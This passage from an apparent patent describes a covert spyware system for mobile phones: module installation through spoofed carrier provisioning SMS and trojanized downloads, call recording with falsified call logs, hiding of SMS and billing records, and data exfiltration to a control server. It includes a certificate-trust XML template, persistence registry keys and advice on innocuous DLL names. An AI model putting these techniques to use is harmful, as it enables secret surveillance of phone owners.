The process of selecting or constructing and publishing one or more deployment packages for the modules to be deployed to a monitored mobile device (1100) are repeated for the monitoring modules. These steps are shown in the flowchart as steps 3170 and 3180.
In the flowchart of FIG. 3, steps 3150 to 3180 are shown as discrete steps for clarity as to the functional aspects of the process. Without loss of generality, in some exemplary embodiments, steps 3150 and 3170 are combined for efficiency. Similarly, steps 3160 and 3180 may be combined for efficiency. Similarly, steps 3150 to 3170 may be repeated as often as necessary, and can produce several deployment packages for a single monitored mobile device (1100). Likewise, once a deployment package, or packages, has been created for a particular device type, operating system or other relevant factors, the package(s) can be stored, for example, in a database, and used with a plurality of mobile device instances that match the device type, operating system or other relevant factors that the package was created for. This capability permits greater efficiency, and shortens deployment time.
In step 3190, the module repository (1420) notifies the device controller (1490) to initiate download of one or more packages to a monitored mobile device (1100).
Modules downloaded to a monitored mobile device will replace, modify, enhance, or otherwise alter the normal processing of one or more aspects of the device operating system or other typical software for purposes of implementing the technology herein. Where the device operating system or other software supports the concept of “loadable modules” (e.g. “dynamic loadable libraries (DLLs)”, “plug-ins”, or “drivers”), it can be possible to implement one or more of the downloaded modules in the form of loadable modules and incorporated into the monitored mobile device's systems using the facilities present in the device to support this mode of operation. In some cases it can be possible to replace the monitored mobile device's operating system in whole or in part with software that supports the monitoring and other aspects of the technology described herein in addition to providing the expected behavior in the monitored device from the point of view of the device's user, service provider, and other entities that are not involved in the monitoring and other activities of the technology described herein. In some cases the original device software can be retained and used in whole or in part to accomplish this, while not being allowed to regain full control over the monitored device.
6.3 Control Service (1410)
The control service (1410) provides command and control services to the control system (1400). The control service (1410) provides a database of devices currently being monitored, in which information about each monitored mobile device (1100) is stored. This information includes monitored mobile device identification information, such as IMEI (International Mobile Equipment Identity), IMSI (International Mobile Subscriber Identity), MIN (Mobile Identification Number), and ESN (Electronic Serial Number), along with assigned telephone number, monitored mobile device configuration information, such as the version of the operating system present on the monitored mobile device (1100), and monitored mobile device information such as device type, model, and device capabilities. For example, a device type and model can be used to identify the specific equipment being used at the monitored mobile device (1100). Device capabilities include the availability of GPS or camera functions on the monitored mobile device (1100). The database is also used to form associations between one or more monitored mobile devices (1100), such as identifying monitored mobile devices (1100) associated with one or more persons. The database thus provides the ability to look up and control a monitored mobile device (1100) if a user knows the identifying information or a person associated with the monitored mobile device (1100). Thus, the monitored mobile devices (1100) associated with a particular person (e.g. a particular user's three cellular telephones), or all of the cellular telephones belonging to a group of people (e.g. the cellular telephones of a particular group of interest), can be associated together. The ability to associate disparate monitored mobile devices (1100) provides a mechanism to provide common command and control to all of the monitored mobile devices (1100) that are so associated together in a group.
The control service (1410) also manages the status of each monitored mobile device (1100) known to it. The status of the each monitored mobile device (1100) defines whether the mobile device is currently online and available, the aspects of monitoring that the device is configured to support, and whether the monitored mobile device (1100) has uploaded all monitored information that has been collected. Other information collected in the status of the monitored mobile device (1100) includes whether a monitored mobile device (1100) is reporting information on schedule, current state of the mobile device and its security mechanisms (e.g. the device's ability to perform the monitoring functions covertly), and whether the mobile device is currently collecting monitoring (or not).
The control service (1410) is further able to issue commands to and monitor requests from the control component of the monitoring device client (1120). The control service (1410) preferably operates in conjunction with the other services, in particular, a device controller (1490), to send commands to and receive responses from monitored mobile devices (1120). The control service (1410) also monitors requests from monitored mobile devices (1100), including data exfiltration requests and module download requests. In some embodiments, the control service (1410) receives these requests and forwards them to another service for processing. In other embodiments, the control service (1410) receives notifications of the requests from the service processing the request.
The control service (1410) supports several commands related to monitoring mobile devices. Examples of such commands are listed in Table 1.







TABLE 1







Control Service Commands








COMMAND
FUNCTION





Collect 
Requests device information from the network 


Device 
provider and/or monitored mobile device (1100). 


Information
Obtains device information, including operating 



system version, device type, and device



capabilities.


Status update
Requests a status update from the network 



providers and/or one or more monitored 



mobile device (1100).


Install/
Requests one or more monitored mobile 


uninstall 
device (1100) to install/uninstall one or more 


module
particular modules.


Start/stop 
Requests one or more monitored mobile 


monitoring
device (1100) to start/stop specific aspects 



of monitoring.


Start/stop 
Requests one or more monitored mobile 


exfiltration
device (1100) to start/stop specific aspects of 



the exfiltration of monitoring results.


Disable 
Requests one or more monitored mobile devices 


device
(1100) to be disabled.


Set 
Sends the Device the specified URL for 


Destination
exfiltration information. This is set upon initial 



installation and can also be updated after 



module installation


Provisioning 
Allows for device settings to be updated or 


Device 
changed that creates the device runtime 


Settings
environment to be most receptive to exploits









The control service (1410) manages and controls operations of other services of control system (1400). These services can be used to extend the range of commands and functions provided by the control service (1410).
The control service (1410) primarily communicates with other services using a combination of service interface calls and responses, direct application requests, and using various event-based mechanisms. For example, the control service (1410) may communicate with the exfiltration data service (1430) using a service-based interface to determine a list of monitoring results stored for a specific monitored mobile device (1100), and can further communicate with a notification service (not shown) in order to cause a specific user to be notified when new monitoring results have been received for a specific monitored mobile device (1100).
Lastly, the control service (1410) provides a user interface for managing monitored mobile devices, commands, and the command (results). In some embodiments, this is a web-based interface.
6.4 Exfiltration Data Service (1430)
The exfiltration data service (1430) receives, stores, and manages monitoring results exfiltrated from one or more monitored mobile devices (1100). The information is stored by the exfiltration data service (1430) as described below, and is preferably cross-referenced by source device information. In some embodiments, the exfiltration data service (1430) provides a file store in which exfiltration data is stored. In alternate embodiments, the monitoring results may be stored in a database or other content management system that is part of the exfiltration data service (1430). In some implementations, the exfiltration data service (1430) provides key management service to manage the encryption keys of encrypted monitoring results. Monitoring results can be encrypted (or re-encrypted) by the exfiltration data service (1430) in order to protect the monitoring results after they are received from a monitored mobile device (1100). Similarly, the exfiltration data service (1430) may digitally sign, or otherwise protect for integrity, monitoring results using techniques understood by those skilled in the arts. Protecting monitoring results in this manner preserves their usefulness as evidence when the system of the present invention is used by law enforcement personnel.
The exfiltration data service (1430) makes this information (monitoring results, key information) available to authorized users. The information can be provided using a dedicated user interface or as part of a service interface. In some embodiments, the exfiltration data service (1430) can send a notification to one or more services or users by sending an event, a service call, or by other means when a specific monitoring result is received and made available by the exfiltration data service (1430).
6.5 Listen-Only Recording Service (1440)
The listen-only recording service (1440) provides a telephone number, accepts a telephone call and a forwarding number from the monitored mobile device (1100), and forwards the call to the forwarding number, makes a recording, and sends the recording to a data repository (not shown).
When the user of the monitored mobile device attempts to place a call that requires monitoring, the monitored mobile device temporarily blocks the call from being placed, contacts the Listen-Only Recording Service (1440) to obtain a telephone number and to provide the Listen-Only Recording Service (1440) with the number the device user has attempted to call (the forwarding number). The monitored mobile device then places a call from the monitored mobile device to the number provided by the Listen-Only Recording Service (1440). The Listen-Only Recording Service (1440) places a call to the forwarding number, answers the call from the monitored mobile device and, for the duration of the call from the monitored mobile device, records the call and forwards the call to the forwarding number. In this way the monitored mobile device user obtains the expected call to the requested party, but the Listen-Only Recording Service (1440) is enabled to record the call for future use. In some exemplary implementations, the monitored mobile device's call log is adjusted to show that the call was placed to the originally requested number, rather than to the number provided by the Listen-Only Recording Service (1440). In some exemplary implementations the Listen-Only Recording Service (1440) provides the monitored mobile device's identifying information to the communication service provider when placing the call to the forwarding number so that the call is reflected as expected on the device user's account in order to maintain covertness and surreptitiousness of operations.
An alternative method of operation for the Listen-Only recording Service (1400) involves the monitored mobile device placing the originally requested phone call to the originally requested phone number, and including the Listen-Only Recording Service (1440) phone number in a conference call arrangement, so that the Listen-Only Recording Service (1440) is enabled covertly and surreptitiously to record the telephone call. In some exemplary embodiments, the monitored mobile device's call log is adjusted to show that the call was not placed as a conference call, and the call is placed in such a manner as to avoid conference call charges appearing on the device user's account using methods described herein. The methods used to place conference calls from wireless mobile devices are well understood by those having skill in the art.
When it is desired to record a call placed to a monitored mobile device, the monitored mobile device transmits the data to the exfiltration data service for storage, as with other gathered data. When possible, such exfiltration is done as the call occurs. Some devices, such as GSM phones, do not support concurrent voice and data connections. On such devices incoming and outgoing (mobile originated and mobile terminated calls) are recorded to device memory as audio files while the call is active. When the call is complete the recorded audio files are uploaded from the device's memory to the server. When the files have been confirmed as received by the server, the monitored mobile device deletes the recorded audio files from the device's memory.
6.6 WAP Gateway (1450)
The Wireless Application Protocol (WAP) Gateway (1450) acts as a normal WAP Gateway service for the monitored device, but also permits recording, blocking, filtering, delaying, redirecting or modification of WAP requests from, and associated responses to, the monitored device. The WAP Gateway service used by the device is specified for the monitored device by the Device Discovery and Modification Module, described below, as part of its normal modification of the mobile device's configuration, policy and provisioning settings. The WAP Gateway (1450) in some exemplary embodiments performs all normal WAP gateway services for the monitored mobile device. In other exemplary embodiments, the WAP Gateway (1450) passes those WAP messages that are not blocked or filtered, optionally after recording, delaying, or modification, between the WAP gateway service originally configured for the monitored mobile device and the monitored mobile device. Such use of the originally configured WAP gateway service can simplify implementation of the WAP Gateway (1450), and also provide an approximation of expected traffic levels to and from the originally configured WAP gateway service, which reduces detectable influences resulting from the operation of the system of the present invention, thus increasing its stealthiness in covert operation scenarios.
The WAP Gateway (1450) can also be used as a method of covert deployment for modules installed on a monitored mobile device. By redirecting the monitored mobile device's WAP gateway traffic through the WAP Gateway (1450), modules of the present invention can be substituted for, or included with, software being downloaded by the device or device user. This avoids a need for a separate transmission of the modules, and “piggybacks” on a known, expected or otherwise unremarkable network connection. In some scenarios the user can install, or authorize installation of when prompted, the modules, while believing they are desired software or data.
In an alternate exemplary method of specifying the WAP Gateway to be used by a device, a device that accepts WAP Gateway settings in the form of signed WAP Binary XML (WBXML) sent via SMS message can be reconfigured by creating a settings specification in XML, converting it to WBXML and signing the result by methods well understood by those having skill in the art. The signed WBXML is sent to the device via an SMS message. The exemplary device, like many in actual current use (such as those used by TMobile of Olympia, Wash.), accepts signed settings without prompting the device user. Once the settings are accepted by the device, the WAP Gateway specified in the settings will be used, rather than the WAP Gateway previously specified for use by the device. This method of altering the WAP Gateway settings of the device is independent of the existence of the Device Discovery and Modification Module on the device, and can be used as a method of instantiating the Device Discovery and Modification Module in some exemplary implementations as described below.
6.7 Network (1300) and Network Billing
The network (1300) provides communication with a control system (1400) and one or more monitored mobile devices (1100).
A mobile device, such as a cell phone, is typically formed of software, firmware, and hardware adapted to provide communications services over a specific wireless network provided by a specific network operator. This process of forming the relationship between the mobile device and the wireless network is known in the art as provisioning. Typically a network operator provisions the mobile device in conjunction with a subscription to a service contract. The service contract specifies the types of voice and data services available to the mobile device user and the charges associated with the use of those services. In some instances, users form a temporary relationship with a service provider using “prepaid” mechanisms that effect payment without a formal service contract.
In a voice and data wireless network such as GSM (Global System for Mobile Communication) and GPRS (General Packet Radio System), CDMA (Code Division Multiple Access), or various other third generation networks such as EDGE (Enhanced Data rates for GSM Evolution) or UMTS (Universal Mobile Telecommunications Systems), both voice and data services may be available to mobile devices. Example voice services include voice calling and Short Messaging Service (SMS). Example data services include Internet browsing, email, and Multimedia Messaging Service (MMS).
Although many services may be available on a given network, only those device users that use mobile communications devices that have been provisioned for those services will be able to benefit from them. This may present problems for the device user and the network operator alike. Network operators provide “free of charge” provisioning services to device users. These services are also called “Type 0” services. Other services are provided by the network operator for managing their network and device configurations. Collectively, type 0 and related network operator-provided management messages are called “carrier reserved protocols”.
Each monitored wireless mobile device (1100) communicates through one or more wireless communications networks (e.g. 1200a, 1200b) each of which in turn is in communication with a computer network (1300). Some examples of wireless communications networks (1200a and 1200b) include cellular telephone networks utilizing CDMA (Code Division Multiple Access) or GSM (Global System for Mobile communications) technologies including wireless metropolitan or area networks utilizing 802.11-based technologies. The wireless communication networks enable the wireless transmission and reception of information between monitored mobile devices and external control systems. Wireless communications may provide TCP/IP-based protocol support, can provide more limited communications means using SMS, MMS, FLEX, and other messaging protocols. Additionally, wireless communications can provide communications using peered communications mechanisms such as Bluetooth, and can even provide hybrid communications using one or more of the above communications means. Exemplary wireless communications networks (1200a, 1002c, and 1200c) are composed of components having designs, materials, and methods well known to those of ordinary skill in the art.
In some embodiments, the exemplary technology includes a peer-to-peer network connection to a second device, which performs as a proxy between the mobile device and the control system (1400). The alternative technology provides for a proxy device, which can be a mobile device as described herein, a server, or other computer system such as a desktop computer. Alternatively, a network appliance such as a cable modem or set top box may be used as the proxy device. The proxy device provides for control channel and exfiltration information to be communicated to and from the first mobile device via the proxy device instead of communicating directly with the first mobile device. Use of a proxy device is effective for bypassing firewalls and monitoring systems using peer-to-peer networks and protocols.
In one particular implementation, a peer-to-peer network connection can be constructed between the first mobile device (the monitored mobile device) and a second mobile device (e.g. the proxy device) using a peer-to-peer network such as Bluetooth, Infrared, or 802.11 technologies. Other wireless technologies can be used if they are supported by both the monitored mobile devices (1100) and the proxy device. Control information can be passed from the control system directly to the monitored mobile device (1100), or can be relayed through the proxy device. Exfiltrated information can be passed directly to the control system, or can be passed to the proxy device for forwarding to the control system. FIG. 4 shows an exemplary peer-to-peer network connection where exfiltrated information is passed from the monitored mobile device (1100c) through a 802.11 connection (1200c) to proxy device (1500), which then forwards the exfiltration information through PSTN/cellular wireless network (1200d) to network (1300) to control system (1400). Control information also can be passed in the opposite direction through the network from control system (1400) to the proxy device (1500) and then to the monitored mobile device (1100a).
One challenge for covert operation over commercial networks is masking or removing call detail records associated with telephony and access services provided by wireless carriers. Traditional service agreements provide for wireless device customers to pay charges based upon their usage and to optionally provide call details for all usage of the wireless device against a specific account. Payment arrangements may vary, ranging from monthly subscription, ala carte pricing, prepaid cards, and other commercial schemes implemented by wireless network operators. Various techniques can be used by the present invention to circumvent the accounting and call details that are collected by the wireless carriers.
In a first implementation, the present invention shifts network traffic from a first wireless carrier's network to a second wireless carrier's network. For example, the mobile device may be instructed to route covert messages over a second wireless operator's network where the charges for use of the second wireless network are billed to the control system operator instead of the mobile device user. This can be accomplished by providing alternative device identification numbers that are registered with the second wireless network, or by providing third party billing information to the wireless network provider. Alternatively, the network traffic can be routed to alternate networks, such as WiFi networks if they are in range, where the WiFi network is either not controlled or billed to the mobile device user, or for which alternative billing options have been provided. An example of this technique is to connect to a public WiFi network such as those provided by Earthlink and to connect using an SSID and account that charges the control system operator for use of the WiFi network. Covert traffic may be sent using any of these techniques that eliminate the charges and call detail record reporting to the mobile device user for that covert traffic, having the effect of hiding the traffic reporting on monthly statements.
In a second implementation, covert message traffic may be charged as “type 0” traffic and thus be masked from the device user's bill. In a variant of this tactic, the control system operator may register as a content provider with the wireless network operators, and arrange for usage of their “content service” to be charged to them instead of the mobile device user.
Lastly, for users operating with prepaid services, the control system can automatically replenish funds the mobile device users' prepaid account to compensate the user for use. This technique works because prepaid accounts generally do not provide call detail information to the mobile device users but instead only provide the remaining balance available.
6.8 Monitored Mobile Device (1100)
A monitored mobile device (1100), as described above, can include a cellular telephone, Blackberry, PDA, or other device that communicates using wireless telephony and related data technologies. These devices have a variety of capabilities, including voice telephony, wireless data exchange, applications and capabilities such as Personal Information Management (PIM), camera, Global Positioning System (GPS), and other functions.
A Monitored Mobile Device (1100) is described in greater detail in FIG. 2. A Monitored Mobile Device (1100) includes a Device Operating System (2100) of standard construction known to those having skill in the art, including, for example without limitation, the Windows, Windows Mobile, or Windows CE operating system available from Microsoft Corporation of Redmond, Wash., Unix, Linux, MacOS from Apple, Inc. of Cupertino, Calif., Symbian, Nokia NOS, RIMOS, PalmOS, and NOS (Nokia Operating System). Still other monitored mobile devices may not have an operating system per se, but provide an environment for running Java 2 Micro Edition (J2ME) programs, Binary Runtime Execution Environment (BREW) programs, or similar execution programs and environments. In these cases, the execution environment is considered to be acting as the operating system. Typical monitored mobile devices (1100) include cellular telephones such as those from Nokia of Helskini, Finland and Motorola of Shamburg, Ill., and Blackberry devices from RIM of Waterloo, Ontario, Canada.
A Device Interface (2200) provides a means for converting data to signals compatible with network (1300). The device interface (2200) may implement wired- or wireless communications protocols. An example of one such wired communications protocol is TCP/IP. Examples of a wireless communications protocol include WAP, 802.11x, and equivalent telephony protocols for wireless telephones. The provision of a device interface (2200) to support satellite telephony technology is also contemplated. The selection and management of the device interface (2200) is made under the control of Device Operating System (2100). Each device may be constructed with one or more communications interfaces, which enable the device to simultaneously communicate on multiple networks.
Wireless monitored mobile device client (1120) creates, manages, stores, and otherwise processes collected materials and communicates with server applications (1410, 1420, 1430, 1440), device controller (1490), and other service applications that can be part of control system (1400). The wireless monitored mobile device client (1120) manages and coordinates the operation of the exemplary illustrative technology herein upon the monitored mobile device (1100). The wireless monitored mobile device client (1120) is often referred to herein simply as the “client”. In simplest form, the client (1120) receives messages from the control system (1400) through the communications network (1200), device operating system (2100), and at least one device interface (2200); manages the instructions encoded in the messages, and sends responding messages back to one or more services of control system (1400) containing monitored mobile device information, user responses, additional commands, and collected information (again through the device operating system (2100) and the selected device interface (2200)). In alternative embodiments, the client (1120) acts upon the instructions encoded in the messages and downloads or causes to be downloaded, one or more monitoring modules (collectively modules) that provide additional features and functions to the client (1120). Wireless monitored mobile device client (1120) typically includes a device discovery and modification module (2310), a selective router module (2320), a monitoring information store module (2330), a mobile device control module (2340), and one or more function-specific monitoring modules (2390a, 2390b). One or more modules can be assembled together, and one or more modules can be provided as part of a mobile device client (1120).
In one embodiment, the present invention communicates with the client using the well known provisioning mechanisms through which wireless devices interact with host systems. As will be understood by those having ordinary skill in the art, most mobile wireless devices include a capability to be “provisioned”, or to have their software updated, using one or more over-the-air (OTA) methods by which certain messages are reserved for use by the wireless carrier that can cause the device to load module and configuration information without informing the devices user. In some embodiments, the present invention uses such OTA protocols to cause the wireless device to download (or to receive a download) content (modules) to the device without device user notification (i.e., a surreptitious download). The resulting message is accepted by the device as authentic and causes the device to respond as if the carrier had initiated a software load or configuration change. For example, in some embodiments, such surreptitious communications are performed by sending messages to a device that the device accepts as a valid carrier messages. In more specific embodiments such communications are accomplished by adjusting several of the status bits in the message headers, by spoofing return addresses, or by other suitable alterations to the message using methods known to those of ordinary skill in the art.
In one more particular embodiment, the surreptitious communication is accomplished by using SMS messages that are interpreted by systems already installed on the device. In response to properly constructed SMS messages, a target device is instructed to accept software updates, accept changes to device configuration, and many other actions. The present invention includes the use of any suitable SMS message type, including such commonly used SMS message types as WAP Push Service Load (SL) and WAP Push Service Indication (SI) messages. As will be known to those of ordinary skill in the art, SI messages are used to notify the device user that new WAP content is available; SL messages cause the device's browser to load the referenced content, optionally without user intervention. In some embodiments, such SMS messages are designed such that their loaded content includes the device discovery, control modules, or both, of present invention.
6.9 Modules
Modules enable a “pluggable” device monitoring framework that provides system functionality in an extensible manner. Modules facilitate the dynamic addition of new functionality to greatly enhance the flexibility, robustness, and longevity of the system. In one embodiment of the invention, each module is a compiled binary that can be seamlessly OTA deployed into a monitored mobile device (1100) running basic control (2340) and selective router (2320) modules (e.g. the control framework) where the modules are initialized and used by the system. Each specific module can be initiated at any time during the monitored mobile device's life cycle. A module also can be dynamically unloaded from the system for replacement with newer versions or for complete deletion.
Physically a module is provided as a shared library (e.g. a .dll (Dynamic Link Library) in Windows, or a .so or .sl in Linux.) with a known or configurable entry point symbol in some embodiments. In other embodiments, a module can be a standalone executable or a Java application. The control module (2340) (or other system component) takes care of loading the shared library and initiating module. A single shared library can house multiple application modules if desired, or it might only house a single application module. In some embodiments, the control module (2340), the selective router module (2320), and other functions can be implemented as modules. In this way the entire monitored mobile device management framework can be dynamically updated using the built in mechanisms. Below is a list of the implemented modules for framework and network connection functionality.
6.9.1 Device Discovery and Modification Module (2310)
In some embodiments, the device discovery and modification module are configured to discover the configuration and software present on a specific mobile device, and to load the appropriate selective router (2320) and control (2340) modules to that device. In a first usage, the mobile device (1100) receives a message that causes it to download and run the device discovery and modification module (2310), which in turn performs the following process steps, as depicted in FIG. 5. Often, in such embodiments the message received is a provider service message (such as a type-0 message for provisioning) that causes the mobile device (1100) to download and run the device discovery and modification module (2310). This message can take the form of a required network update message, a provisioning message, or other message type recognized by the mobile device. In devices that support software update or installation through other communication paths, such as via TCP/IP over WiFi, Bluetooth or other connection means, the device discovery and modification module (2310) can be downloaded to the mobile device using such means.
Alternatively, the device discovery and modification module (2310) can be instantiated from an inserted SIM or memory card.
An alternative method for instantiating the device discovery and modification module (2310) on the mobile device involves the use of the WAP Gateway (1450) and WAP Gateway settings alteration method described above. After redirecting a mobile device to use the specified WAP Gateway (1450), any software download initiated by the device user through the WAP gateway, such as a request for a Java application, Active-X control, or other software device, can be intercepted and replaced by or enhanced with a software device that installs the device discovery and modification module. For example, when the user, the browser or other application on the mobile device requests download of a Java “jar” file (ajar file is a transport format used to transmit Java programs and libraries), the requested jar file is replaced by one that downloads and installs the device discovery and modification module when run. The device discovery and modification module downloads the originally requested jar file so that the user, browser or other application obtain the results intended in the original request, and then continues with its other functionality as described herein.
Once instantiated, the device discovery and modification module (2310) first identifies the device's operating system (OS) and capabilities (that is, conducts device discovery for the device) in step 5110. The device discovery and modification module (2310) can make service calls to the device's operating system, or can inspect one or more aspects of the device or its communications interfaces, such as files stored on the device or the networks the mobile device is within range of. For example, the device discovery and modification module (2310) can determine the location of the User Agent Profile document information and access that information. In some embodiments, the device discovery and modification module (2310) can cause the device to instantiate a WAP or web browser interface to an external service. Alternatively, the device discovery and modification module (2310) can query the device's operating system to determine specific capabilities of the device.
The device discovery functionality includes, in some embodiments, mobile device capability gathering functionality. In more specific embodiments, this capability gathering provides the device type and capabilities (such as GPS and camera), mobile device operating system information gathering, which yields the device OS ID and version numbers, available memory information gathering, available services gathering, and gathering other device information as necessary. These results are packaged into a response message that is returned to the control system (1400). In some embodiments, the message is targeted to the control service (1410). The message is processed by one or more services of the control system to determine a specific list of modules that can be readily deployed against the specific device. In some embodiments, the device discovery and modification module (2310) then modifies the mobile device's security policy, SMS and OTA provisioning settings to allow the desired device access (step 5120). These changes to the device configuration permit the further download and instantiation of modules to the device. The specific changes are implementation specific, however, the following general classes of changes are made:
Security policy—the security policy or policies for the mobile device (1100) are updated to permit module downloads and invocation without user intervention. Specifically, the device discovery and modification module (2310) then modifies the mobile device's security policy to permit the device discovery and modification module (2310), selective router module (2320), and control module (2340) to operate. The device discovery and modification module (2310) also can change or add to the list of approved signing certificates to enable specific monitoring system modules to be downloaded without user intervention. This involves installing a signing certificate into the device and marking the certificate as “trusted”. Software signed using that certificate will then be installable and executable. The exact method for altering the list of approved signing certificates can vary with the operating system type and version. For example, with a Windows Mobile device, the following steps are performed to add a new signing certificate to the trusted certificate store:

    
    
        1. Create a “_setup.xml” file containing an XML description of the certificate details, including the trust store the certificate is to be loaded into.
        2. Create a “.cab” file that contains the _setup.xml
        3. Sign the .cab file with a public certificate from a known/trusted Certificate Authority (e.g. GeoTrust, Verisign, or Thawte).
        4. Install the .cab file on the device.
    
    


The XML description in the _setup.xml file has the following general format:

    
    
        <wap-provisioningdoc>
        <characteristic type=“CertificateStore”>
        <characteristic type=“Privileged Execution Trust Authorities”
        <characteristic type=“[thumbprint, base64 encoded]”
        <parm name=“EncodedCertificate” value=“[certificate, base64 encoded]”/>
        <parm name=“Role” value=“255”/>
        </characteristic>
        </characteristic>
        </wap-provisioningdoc>
    
    


The methods used to create the XML description file and .cab file, to sign the .cab file, and to install the file on the device are well known to those with skill in the art.
Signing Certificates are obtained in various ways that depend on the device, the operating system, and/or the device manufacturer. In some cases, such as the Black Berry smart phone from Research In Motion (RIM) of Waterloo, Ontario, Canada, a signing certificate can be obtained by registering with RIM. When the registration information is verified, a certificate is issued. The Symbian OS, from Symbian Limited of London, United Kingdom, and the iPhone from Apple, Inc. of Cupertino, Calif., use a similar method. In some cases a separate Certificate Authority (CA), such as Geotrust, owned by Verisign of Mountain View, Calif., can issue certificates. In other cases, such as J2ME (used on devices from a variety of manufacturers), the code of an application to be signed is sent to the issuing authority, such as the device manufacturer, as is the case with RIM's Black Berry smartphones, which tests the code to ensure that it does what it claims to do, and then issues a signing certificate for the application. In yet other cases, such as Apple's iPhone, the device will only accept software downloads from a particular server, though in some cases arrangements can be made to specify a private server rather than that operated by the device manufacturer. In these and other cases, use of a “trojanized” application is necessary. In this method a signed application is obtained, the certificate removed and additional code added to the application, which is then re-signed as an updated version of the same application.
SMS—the SMS configuration is modified to permit the receipt and processing of SMS messages for the monitoring system without user notification. The SMS system is further modified to hide incoming SMS messages targeted to the monitoring system from the user.
OTA—the OTA provisioning configuration is modified to permit the receipt and processing of OTA downloads without user notification. The OTA provisioning configuration can be further modified to extend the list of “trusted” locations from which the device can download modules OTA.
The device discovery and modification module (2310) then loads any required digital certificates to the mobile device (step 5130). Most mobile device software is signed by the manufacturer, and the software designed for the device must be digitally signed using an approved signing certificate in order for the software to load. In some embodiments, the modules to be downloaded into the mobile device are signed using a commercially approved signing certificate. In other embodiments, the modules are signed using a different signing certificate. A mobile device typically stores copies of the signing certificates required to validate module digital signatures in its certificate store. The device discovery and modification module (2310) checks the mobile device's certificate store to ensure that all required digital certificates are present in the certificate store, and adds any additionally required certificates to the certificate store. Optionally, the device discovery and modification module (2310) further checks the device date and time to ensure that the device's date/time is within the valid range of the installed certificates. This optional step can permit new modules to be loaded without causing the device operating system (2100) to generate an exception when new modules are loaded. The digital certificates to be loaded into the certificate store can be included within the device discovery and modification module (2310), can be separate from the device discovery and modification module, but packaged with it for delivery to the device, or can be independently downloaded from the control system (1400). In some embodiments, the download source is the module repository (1420).
The device discovery and modification module (2310) then accesses the device's data connection (step 5140). The device discovery and modification module (2310) first identifies the mobile device interfaces (2200) and the networks to which the interfaces are connected, and attempts to determine available network paths between the mobile device (1100) and the control system. For example, the device discovery and modification module (2310) identifies whether a mobile device's interfaces include an 802.11 interface, and if they do, determines if the 802.11 interface is enabled and within range of an 802.11 network. In some embodiments, the device discovery and modification module (2310) contains preferred 802.11 SSID's and authentication materials that allow the device discovery and modification module (2310) to establish an 802.11 network connection to well known 802.11 networks such as those provided by a commercial hot spot provider such as Boingo®, of Boingo Wireless, Inc. of Santa Monica, Calif.
The device discovery and modification module (2310) then selects and secures a method of communication with the control system (1400) (step 5150). This step uses information collected above in step 5140 as a starting list of available networks. The device discovery and modification module (2310) attempts to connect to one or more services of the control system (1400), using one or more of the following protocols: SMS, IM, HTTP, FTP, WEP or email. The results of these attempts indicate the preferable approach to load and instantiate additional modules to the mobile device (1100).
The device discovery and modification module (2310) then loads (or causes to be loaded) the appropriate selective router module (2320) and control module (2340) on the device (step 5160). The device discovery and modification module (2310) then loads other modules as appropriate for the mobile device. In some embodiments, the device discovery and modification module (2310) requests specific modules from the control system, in particular, from a module repository (1420). In other embodiments, the device discovery and modification module (2310) requests the modules appropriate for a particular device from a control system service and the control system service selects the modules to be downloaded based upon the device discovery information (see above) and/or operator specification. In a particular embodiment, the module repository (1420) uses the device discovery information to determine the modules to download, and makes these modules available to the device discovery and modification module (2310) for download. The device discovery and modification module (2310) then downloads the modules and instantiates them on the mobile device (1100).
The device discovery and modification module (2310) then deletes itself and passes control to the control module (2340) (step 5170), which ends the process. By implementing these functionalities, the device discovery and modification module (2310) allows successful loading of further monitoring and control components of the present invention. The device discovery and modification module's functionality is limited and specific; thus the module has a small footprint, is stealthy, can remove itself, and covers a wide range of devices.
6.9.2 Selective Router Module (2320)
Referring back to FIG. 2, a selective router module (2320) is responsible for monitoring one or more communications interfaces (e.g. 2210, 2220, & 2230) of the monitored mobile device (1100) and manages communications over the selected communication interfaces. In some embodiments, the selective router module (2320) additionally monitors specific message types, such as SMS. The selective router module (2320), in a first aspect, functions as an interface proxy service, in that the selective router module (2320) inspects incoming and outgoing network traffic on each monitored network interface and messaging method, and makes determinations as to how to process this traffic. Typically the selective router module (2320) intercepts and manages message communication via multiple protocols such as WAP, HTTP, HTTPS, SMS/MMS, TCP, UDP and USSD.
In some exemplary embodiments, the selective router module (2320) is installed such that it retains the ability to monitor and control specified incoming and outgoing network traffic even after a monitored mobile device (1100) is rebooted. In some devices this can require that the selective router module (2320) is loaded before other software that is installed on the device, while in other devices the selective router module (2320) can be loaded after other software, but prior to any incoming or outgoing network traffic being received or sent. Techniques for accomplishing this requirement are well known to those with skill in the art. For example a first method comprises replacing existing device communication software modules with those of the selective router module so that the selective router module is automatically loaded during device startup and used by the device operating system or other software to perform communication activities, and thus given access to all device communication data. In a more specific example, the Windows Mobile OS incorporates a mechanism, known as the Radio Interface Layer (RIL) that handles communications between the Windows Mobile system software and the device's radio hardware. The RIL abstracts the details of the hardware components, which can vary between a first device type and a second device type, and provides a common known interface to the hardware for the operating system and other software to use. The RIL, which is implemented as a Dynamically Linked Library (DLL), can be replaced with a custom DLL of an exemplary embodiment of the current invention. Provided that the custom DLL implements the same software interface functions as the RIL provides, the operating system and other software will continue to function normally. The custom DLL implements the RIL functionality in some exemplary embodiments, while in other exemplary embodiments the custom DLL uses the capabilities of the replaced RIL DLL rather than implementing them itself. By taking over the RIL's position as the initial recipient of requests for RIL functionality, the custom DLL is used by all subsystems of the Windows Mobile device and is in a position to intercept all incoming and outgoing Short Message Service (SMS) data and can block, modify, filter, log, relay, or permit to pass intact all such data.
In a second example method, the device hardware is reconfigured to invoke aspects of the selective router module when data arrives at the device's communication interface, and the device operating system data structures are modified such that requests to send data from the device result in the data being passed to the selective router module, rather than the aspect of the operating system that would normally perform the operations necessary to send the data.
In a third example method, the device configuration is modified so as to link the selective router module into the normal device communication data flow using functionality present in the device or device operating system. For example, in a Windows Mobile device, the selective router module can be installed as a Windows service, and will be loaded by the operating system each time the device is booted. This is accomplished by installing required registry keys:

    
    
        HKLM,Services\OEService,Dll, 0x00000000,name.dll
        HKLM,Services\OEService,Prefix, 0x00000000,OES
        HKLM,Services\OEService,Order, 0x00010001, 10
        HKLM,Services\OEService,Keep, 0x00010001, 1
        HKLM,Services\OEService,Index, 0x00010001, 0
    
    


Selecting an innocuous name for the DLL file can reduce the likelihood of suspicion about the service. For example, “IO.dll”, or “system.dll”.
